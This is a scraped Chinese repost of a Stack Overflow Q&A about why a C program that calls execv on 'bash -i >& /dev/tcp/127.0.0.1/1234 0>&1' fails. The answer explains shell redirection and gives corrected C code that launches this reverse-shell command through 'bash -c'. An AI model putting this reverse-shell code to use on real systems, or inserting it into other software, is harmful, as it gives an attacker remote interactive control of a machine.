gpt4 book ai didi

c - bash -i >&/dev/tcp/127.0.0.1/1234 0>&1

转载 作者:太空宇宙 更新时间:2023-11-04 10:38:57 25 4
gpt4 key购买 nike

我知道上面标题的某些部分已经被问过,但我仍然有些困惑。实际上,我并没有真正得到 bash -i >&/dev/tcp/127.0.0.1/1234 0>&1 中的“>&”我的主要目标是编译以下代码:

 *#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
char *prog = "/bin/bash";
/*bash -i >& /dev/tcp/127.0.0.1/1234 0>&1*/
char *args[5] = {"/bin/bash", "-i", ">&", "/dev/tcp/127.0.0.1 /1234","0>&1"};

execv(prog, args);
return 0;
}

它被编译但是当我执行相应的二进制文件时,它返回以下错误: bash: >&: 没有那个文件或目录

任何解释将不胜感激;)!

最佳答案

当你运行时:

bash -i >& /dev/tcp/127.0.0.1/1234 0>&1

在命令提示符下,您当前的 shell(显示提示并等待命令的 shell)解释重定向。

当您使用 exec*() 之一运行外部程序时功能,那里没有外壳来解析命令行和解释重定向。 execv() 以命令行的其余部分作为参数启动 bash

bash的命令行是:

bash options file

选项以破折号 (-) 开头。

它可能会成功解释 -i,因为 >& 不是以破折号 (-) 开头,它认为它是一个文件名。它找不到这样的文件,它报告错误 ">&: No such file or directory" 并退出。

您应该使用 system()启动 shell 并为它提供整个命令行,或 popen() (它还允许您在新进程启动后将一些输入传递给它)。

这两个函数都创建了一个新进程。由于您的原始代码使用 execv() 并且 exec*() 函数将当前正在运行的进程替换为新进程,因此您可能应该 exit() 在启动新进程后获取当前行为。


有可能(我没有测试)使用 execv() 启动以下命令也会产生您期望的结果:

bash -c "bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"

在 C 中:

char *prog = "/bin/bash";
char *args[] = {"/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/127.0.0.1/1234 0>&1"};
execv(prog, args);

关于c - bash -i >&/dev/tcp/127.0.0.1/1234 0>&1,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/36022331/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com